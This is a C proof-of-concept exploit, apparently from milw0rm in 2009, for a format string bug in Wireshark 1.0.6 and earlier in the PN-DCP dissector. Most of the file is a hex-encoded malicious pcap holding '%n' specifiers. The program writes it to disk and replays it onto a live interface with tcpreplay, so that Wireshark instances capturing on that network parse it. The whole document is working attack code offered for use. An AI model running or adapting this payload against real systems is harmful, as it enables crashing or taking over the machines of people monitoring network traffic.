44 lines
No EOL
2.5 KiB
C
44 lines
No EOL
2.5 KiB
C
/*
|
|
################## THCX #######################################
|
|
# Wireshark <= 1.0.6 PN-DCP format string bug POC
|
|
###############################################################
|
|
# [!] autore: THCX Labs
|
|
# [!] PN-DCP eithor standalone or tunneld thru DCE/RPC
|
|
# [!] local open of pcapfile also working
|
|
###############################################################
|
|
*/
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <errno.h>
|
|
char sploit[]=
|
|
"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00"
|
|
"\x96\x2c\x8f\x47\x97\xaa\x0d\x00\x22\x00\x00\x00\x22\x00\x00\x00\x00\x02\xe3\x17\xc7\x50\x00\x80"
|
|
"\xc8\x38\xa4\x8b\x81\x00\x00\x00\x88\x92\xfe\xfe\x05\x00\x01\x00\x00\x01\x00\x01\x00\x04\xff\xff"
|
|
"\x00\x00\x96\x2c\x8f\x47\x96\xae\x0d\x00\xd6\x00\x00\x00\xd6\x00\x00\x00\x00\x80\xc8\x38\xa4\x8b"
|
|
"\x00\x02\xe3\x17\xc7\x50\x81\x00\x00\x00\x88\x92\xfe\xff\x05\x01\x01\x00\x00\x01\x00\x00\x00\xb8"
|
|
"\x02\x05\x00\x10\x00\x00\x02\x01\x02\x02\x02\x03\x02\x04\x02\x05\x01\x01\x01\x02\x02\x01\x00\x0a"
|
|
"\x00\x00\x53\x37\x2d\x33\x30\x30\x45\x43\x02\x02\x00\x6e\x00\x00\x25\x6e\x25\x6e\x25\x6e\x20\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x02\x03\x00\x06\x00\x00\x00\x2a\x01\x01\x02\x04\x00\x04\x00\x00\x02\x00\x01\x02"
|
|
"\x00\x0e\x00\x01\xc0\xa8\x00\x0b\xff\xff\xff\x00\xc0\xa8\x00\x0b\x97\x2c\x8f\x47\xf2\xd0\x0e\x00"
|
|
"\x32\x00\x00\x00\x32\x00\x00\x00\x00\x02\xe3\x17\xc7\x50\x00\x80\xc8\x38\xa4\x8b\x81\x00\x00\x00"
|
|
"\x88\x92\xfe\xfd\x04\x00\x01\x00\x00\x01\x00\x00\x00\x14\x02\x02\x00\x09\x00\x01\x25\x6e\x25\x6e"
|
|
"\x25\x6e\x20\x00\x05\x02\x00\x02\x00\x00\x97\x2c\x8f\x47\x82\xd2\x0e\x00\x40\x00\x00\x00\x40\x00"
|
|
"\x00\x00\x00\x80\xc8\x38\xa4\x8b\x00\x02\xe3\x17\xc7\x50\x81\x00\x00\x00\x88\x92\xfe\xfd\x04\x01"
|
|
"\x01\x00\x00\x01\x00\x00\x00\x10\x05\x04\x00\x03\x02\x02\x00\x00\x05\x04\x00\x03\x05\x02\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
|
int main(){
|
|
FILE *fh;
|
|
int r;
|
|
fh=fopen("formatstringbug.pcap","wb");
|
|
if(!fh){perror("no open");exit(1);}
|
|
fwrite(sploit,sizeof sploit,1,fh);
|
|
fclose(fh);
|
|
r=system("tcpreplay -i eth0 formatstringbug.pcap");
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2009-03-30]
|